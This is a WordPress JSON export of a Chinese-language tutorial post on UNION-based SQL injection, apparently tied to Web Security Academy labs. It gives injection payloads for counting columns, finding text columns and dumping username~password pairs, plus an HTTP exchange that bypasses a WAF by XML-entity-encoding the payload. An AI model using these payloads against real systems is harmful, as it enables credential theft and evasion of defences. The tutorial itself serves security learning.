{"id":1228,"date":"2023-02-15T10:50:00","date_gmt":"2023-02-15T02:50:00","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1228"},"modified":"2024-02-17T20:19:39","modified_gmt":"2024-02-17T12:19:39","slug":"sqli-union-attack","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1228","title":{"rendered":"SQLi UNION attack"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>UNION<\/code>\u95dc\u9375\u5b57\u4f7f\u60a8\u80fd\u5920\u57f7\u884c\u4e00\u500b\u6216\u591a\u500b\u9644\u52a0<code>SELECT<\/code>\u67e5\u8a62\u4e26\u5c07\u7d50\u679c\u9644\u52a0\u5230\u539f\u59cb\u67e5\u8a62\uff0c\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>SELECT a, b FROM table1 <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\"><strong>UNION<\/strong> SELECT c, d FROM table2<\/mark><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8981\u4f7f<code>UNION<\/code>\u67e5\u8a62\u6b63\u5e38\u904b\u4f5c\uff0c\u5fc5\u9808\u6eff\u8db3\u5169\u500b\u95dc\u9375\u8981\u6c42\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u67e5\u8a62\u8a9e\u53e5\u7684\u6b04\u4f4d\u6578\u91cf\u8981\u7b26\u5408\uff0c\u5fc5\u9808\u78ba\u8a8d\u6c92\u8d85\u904e\u6b04\u4f4d\u6578\u91cf\u3002<\/li>\n\n\n\n<li>\u67e5\u8a62\u8a9e\u53e5\u7684\u8cc7\u6599\u985e\u578b\u8981\u76f8\u540c\uff0c\u5fc5\u9808\u78ba\u8a8d\u6b04\u4f4d\u7684\u8cc7\u6599\u985e\u578b\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u67e5\u8a62\u6b04\u4f4d\u6578\u91cf<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u6709\u5169\u7a2e\u6709\u6548\u7684\u65b9\u6cd5\u53ef\u4ee5\u6c7a\u5b9a\u5f9e\u539f\u59cb\u67e5\u8a62\u50b3\u56de\u591a\u5c11\u5217<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u65b9\u6cd51,\u5229\u7528order by <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>' ORDER BY 1--\n' ORDER BY 2--\n' ORDER BY 3--<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5982\u679c\u6c92\u5831\u932f\uff0c\u90a3\u8868\u793a\u6307\u5b9a\u7684\u6578\u91cf\u9084\u5728\u6240\u6709\u6b04\u4f4d\u6578\u91cf\u5167\uff0c\u4f46\u7576\u6307\u5b9a\u7684\u5217\u7d22\u5f15\u8d85\u904e\u7d50\u679c\u96c6\u4e2d\u5be6\u969b\u5217\u6578\u6642\uff0c\u8cc7\u6599\u5eab\u50b3\u56de\u932f\u8aa4<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>The ORDER BY position number 3 is out of range of the number of items in the select list.<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u65b9\u6cd52,\u6307\u5b9a\u4e0d\u540c\u6578\u91cf\u7684null<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>' UNION SELECT NULL--\n' UNION SELECT NULL,NULL--\n' UNION SELECT NULL,NULL,NULL--<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5982\u679c\u662fORACLE\u6578\u64da\u5eab\uff0c\u5fc5\u9808\u5728\u52a0<code>FROM DUAL<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>' UNION SELECT NULL FROM DUAL--\n' UNION SELECT NULL,NULL FROM DUAL--\n' UNION SELECT NULL,NULL,NULL FROM DUAL--<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5982\u679c\u7a7a\u503c\u6578\u91cf\u8207\u5217\u6578\u4e0d\u5339\u914d\uff0c\u8cc7\u6599\u5eab\u5c07\u50b3\u56de\u932f\u8aa4<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f8b\u5982\uff0c\u5047\u5982\u75283\u500bnull\u6c92\u5831\u932f\uff0c\u8868\u793a\u8cc7\u6599\u8868\u53ea\u67093\u500b\u6b04\u4f4d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Lab: SQL injection UNION attack, determining the number of columns returned by the query<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u67e5\u8a62\u6b04\u4f4d\u7684\u985e\u578b<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5047\u5982\u67094\u500b\u6b04\u4f4d\uff0c\u53ef\u4ee5\u767c\u90014\u6b21\u4e0d\u540c\u8acb\u6c42\u78ba\u8a8d<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>' UNION SELECT 'a',NULL,NULL,NULL--\n' UNION SELECT NULL,'a',NULL,NULL--\n' UNION SELECT NULL,NULL,'a',NULL--\n' UNION SELECT NULL,NULL,NULL,'a'--<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5047\u5982\u7b2c\u4e09\u884c\u6c92\u5831\u544a\uff0c\u8868\u793a\u985e\u578b\u70ba\u5b57\u4e32\uff0c\u5047\u5982124\u884c\u5831\u932f\u5982\u4e0b\uff0c\u8868\u793a\u985e\u578b\u975e\u5b57\u4e32<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>Conversion failed when converting the varchar value 'a' to data type int.<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Lab: SQL injection UNION attack, finding a column containing text<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u9023\u63a5\u591a\u500b\u6b04\u4f4d\u6210\u70ba\u55ae\u4e00\u6b04\u4f4d<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e00\u65e6\u78ba\u8a8d\u6b04\u4f4d\u6578\u91cf\u8207\u985e\u578b\u6642\uff0c\u5c31\u53ef\u4ee5\u5617\u8a66\u53d6\u5f97\u6578\u64da\u8868\u8cc7\u6599\uff0c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5047\u5982\u78ba\u5b9a\u67092\u6b04\u53ef\u986f\u793a\u5b57\u4e32\u5167\u5bb9\uff0c\u53ef\u4f7f\u7528\u4ee5\u4e0b\u8a9e\u6cd5\u5c07\u8cc7\u6599\u8868\u7684\u7528\u6236\u548c\u5bc6\u78bc\u5217\u51fa<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>' UNION SELECT username, password FROM users--<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f46\u5728\u67d0\u4e9b\u60c5\u6cc1\u4e0b\u53ea\u80fd\u56de\u50b3\u55ae\u4e00\u6b04\u4f4d\uff0c\u56e0\u6b64\u9700\u8981\u5408\u4f75\u6b04\u4f4d\uff0c\u4e0d\u540c\u6578\u64da\u5eab\u53ef\u7528\u4e0d\u540c\u65b9\u5f0f\u5408\u4f75\uff0c\u5982\u4e0b<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Oracle\uff1a<code>'foo'||'bar'<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">PostgreSQL\uff1a<code>'foo'||'bar'<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Microsoft\uff1a<code>'foo'+'bar'<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">MySQL\uff1a<code>'foo' 'bar'<\/code>\uff082\u500b\u5b57\u4e32\u9593\u6709\u7a7a\u767d\uff09\uff0c<code>CONCAT('foo','bar')<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5047\u5982\u6578\u64da\u5eab\u5eab\u662foracle\uff0c\u60f3\u9023\u63a5<code>username <\/code>\uff0c <code>~<\/code>\uff0c <code>password <\/code>\u9019\u4e09\u500b\uff0c\u53ef\u4ee5\u5beb\u6210\u4ee5\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>' UNION SELECT username || '~' || password FROM users--<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u67e5\u8a62\u7d50\u679c\u5c31\u6703\u50cf\u4ee5\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>...\nadministrator~s3cure\nwiener~peter\ncarlos~montoya\n...<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Lab: SQL injection UNION attack, retrieving multiple values in a single column<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u9952\u904e\u5b89\u5168\u6a5f\u5236<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u653b\u64ca\u6703\u56e0 WAF \u548c\u5176\u4ed6\u9632\u79a6\u6a5f\u88fd\u800c\u88ab\u963b\u6b62\uff0c\u53ef\u4ee5\u900f\u904e\u5c0d\u7981\u6b62\u7684\u95dc\u9375\u5b57\u4e2d\u7684\u5b57\u5143\u9032\u884c\u7de8\u78bc\u6216\u8f49\u7fa9\u4f86\u7e5e\u904e\u9019\u4e9b\u5b89\u5168\u6a5f\u5236<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8209\u4f8b\u4f86\u8aaa\uff0c\u57f7\u884c\u653b\u64ca\u8acb\u6c42\u6642\u88ab\u5075\u6e2c\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>################  request ################\nPOST \/product\/stock HTTP\/1.1\nHost: 0a350077033afbd1c064a60d005e00d4.web-security-academy.net\n...omit...\n&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;&lt;stockCheck&gt;&lt;productId&gt;1&lt;\/productId&gt;\n&lt;storeId&gt;<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">1 UNION SELECT null<\/mark>&lt;\/storeId&gt;\n&lt;\/stockCheck&gt;\n\n################ response ################\nHTTP\/1.1 403 Forbidden\nContent-Type: application\/json; charset=utf-8\nConnection: close\nContent-Length: 17\n\n<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">\"Attack detected\"<\/mark><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u4f7f\u7528XML encoding\u7de8\u78bc\u5c0d\u653b\u64ca\u5167\u5bb9\u9032\u884c\u6df7\u6dc6\uff0c\u4e5f\u53ef\u4ee5\u4f7f\u7528Hackvertor Extensions\uff0c\u9078\u64c7<code>Encode &gt; dec_entities\/hex_entities<\/code>\u53ef\u5c07\u5167\u5bb9\u9032\u884c\u7de8\u78bc<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>################  request ################\nPOST \/product\/stock HTTP\/1.1\nHost: 0a350077033afbd1c064a60d005e00d4.web-security-academy.net\n...omit...\n&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;&lt;stockCheck&gt;&lt;productId&gt;1&lt;\/productId&gt;\n&lt;storeId&gt;<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">&amp;#x31;&amp;#x20;&amp;#x55;&amp;#x4e;&amp;#x49;&amp;#x4f;&amp;#x4e;&amp;#x20;&amp;#x53;&amp;#x45;&amp;#x4c;&amp;#x45;&amp;#x43;&amp;#x54;&amp;#x20;&amp;#x6e;&amp;#x75;&amp;#x6c;&amp;#x6c;<\/mark>\n&lt;\/storeId&gt;\n&lt;\/stockCheck&gt;\n\n################ response ################\nHTTP\/1.1 200 OK\nContent-Type: text\/plain; charset=utf-8\nSet-Cookie: session=1qzQFMhyroyBA4UZauSIkc9nqGAKmcEQ; Secure; HttpOnly; SameSite=None\nConnection: close\nContent-Length: 13\n\n99 units\nnull<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f9e\u8fd4\u56de\u5167\u5bb9\u770b\u5230union attack\u7684\u57f7\u884c\u7d50\u679c\uff0c\u5df1\u6210\u529f\u9952\u904e\u5b89\u5168\u6a5f\u5236<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Lab: SQL injection with filter bypass via XML encoding<\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNION\u95dc\u9375\u5b57\u4f7f\u60a8\u80fd\u5920\u57f7\u884c\u4e00\u500b\u6216\u591a\u500b\u9644\u52a0SELECT\u67e5\u8a62\u4e26 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[38],"tags":[],"class_list":["post-1228","post","type-post","status-publish","format-standard","hentry","category-serverside"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack-related-posts":[{"id":2762,"url":"https:\/\/systw.net\/note\/archives\/2762","url_meta":{"origin":1228,"position":0},"title":"SQLi Login Bypass","author":"raymond","date":"2024 \u5e74 9 \u6708 1 \u65e5","format":false,"excerpt":"SQL\u6ce8\u5165\u767b\u5165\u7e5e\u904e\u662f\u4e00\u7a2e\u5229\u7528 SQL \u6ce8\u5165\u6f0f\u6d1e\uff0c\u5728\u4e0d\u77e5\u9053\u6709\u6548\u5e33\u865f\u6216\u5bc6\u78bc\u7684\u60c5\u6cc1\u4e0b\uff0c\u6210\u529f\u767b\u5165\u7cfb\u7d71\u7684\u653b\u64ca\u624b\u2026","rel":"","context":"\u5728\u300cServerSide\u300d\u4e2d","block_context":{"text":"ServerSide","link":"https:\/\/systw.net\/note\/archives\/category\/hackerthreat\/serverside"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":1232,"url":"https:\/\/systw.net\/note\/archives\/1232","url_meta":{"origin":1228,"position":1},"title":"SQLi for Examining the DB","author":"raymond","date":"2023 \u5e74 2 \u6708 16 \u65e5","format":false,"excerpt":"\u70ba\u4e86\u5229\u7528 SQL \u6ce8\u5165\u6f0f\u6d1e\uff0c\u901a\u5e38\u9700\u8981\u5c0b\u627e\u6709\u95dc\u8cc7\u6599\u5eab\u7684\u8cc7\u8a0a\uff0c\u50cf\u662f\u6578\u64da\u5eab\u985e\u578b\u8207\u7248\u672c\uff0c\u4ee5\u53ca\u8cc7\u6599\u8868\u4fe1\u606f \u53d6\u5f97\u2026","rel":"","context":"\u5728\u300cServerSide\u300d\u4e2d","block_context":{"text":"ServerSide","link":"https:\/\/systw.net\/note\/archives\/category\/hackerthreat\/serverside"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":581,"url":"https:\/\/systw.net\/note\/archives\/581","url_meta":{"origin":1228,"position":2},"title":"SQL DML","author":"raymond","date":"2010 \u5e74 8 \u6708 24 \u65e5","format":false,"excerpt":"DML \u65b0\u589e\u8cc7\u6599\u65b0\u589e1\u7b46\u8cc7\u6599INSERT INTO < tablename>(colum\u2026","rel":"","context":"\u5728\u300c\u8cc7\u6599\u5eab\u300d\u4e2d","block_context":{"text":"\u8cc7\u6599\u5eab","link":"https:\/\/systw.net\/note\/archives\/category\/develop\/database"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":513,"url":"https:\/\/systw.net\/note\/archives\/513","url_meta":{"origin":1228,"position":3},"title":"Python pandas view","author":"raymond","date":"2019 \u5e74 7 \u6708 6 \u65e5","format":false,"excerpt":"\u6aa2\u8996dataframe\u72c0\u6cc1 ...................... \u986f\u793a\u8cc7\u6599\u6982\u6cc1 \u986f\u793a\u8cc7\u6599\u7dad\u5ea6\u2026","rel":"","context":"\u5728\u300c\u958b\u767c\u300d\u4e2d","block_context":{"text":"\u958b\u767c","link":"https:\/\/systw.net\/note\/archives\/category\/develop"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":786,"url":"https:\/\/systw.net\/note\/archives\/786","url_meta":{"origin":1228,"position":4},"title":"Multicast","author":"raymond","date":"2017 \u5e74 1 \u6708 5 \u65e5","format":false,"excerpt":"Multicast\u7528\u9014\uff1a\u7576\u7db2\u8def\u4e0a\u7684\u8cc7\u6599\u8981\u50b3\u8f38\u7d66\u90e8\u4efd\u8a2d\u5099\u6642,\u82e5\u7528multicast\u9001\u8cc7\u6599,\u4ea4\u63db\u5668\u50c5\u6703\u5c07\u2026","rel":"","context":"\u5728\u300cOSI Layer3\u300d\u4e2d","block_context":{"text":"OSI Layer3","link":"https:\/\/systw.net\/note\/archives\/category\/network\/osi-layer3"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":855,"url":"https:\/\/systw.net\/note\/archives\/855","url_meta":{"origin":1228,"position":5},"title":"Application DNS","author":"raymond","date":"2014 \u5e74 5 \u6708 6 \u65e5","format":false,"excerpt":"DNS(Domain Name System,\u7db2\u57df\u540d\u7a31\u7cfb\u7d71)\u53ef\u7528\u7db2\u57df\u540d\u7a31\u67e5\u5230ip\u4f4d\u5740,\u5e6b\u52a9\u4eba\u5011\u66f4\u5bb9\u6613\u2026","rel":"","context":"\u5728\u300cOSI Layer7\u300d\u4e2d","block_context":{"text":"OSI Layer7","link":"https:\/\/systw.net\/note\/archives\/category\/network\/osi-layer7"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]}],"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1228","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1228"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1228\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1228"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1228"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1228"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}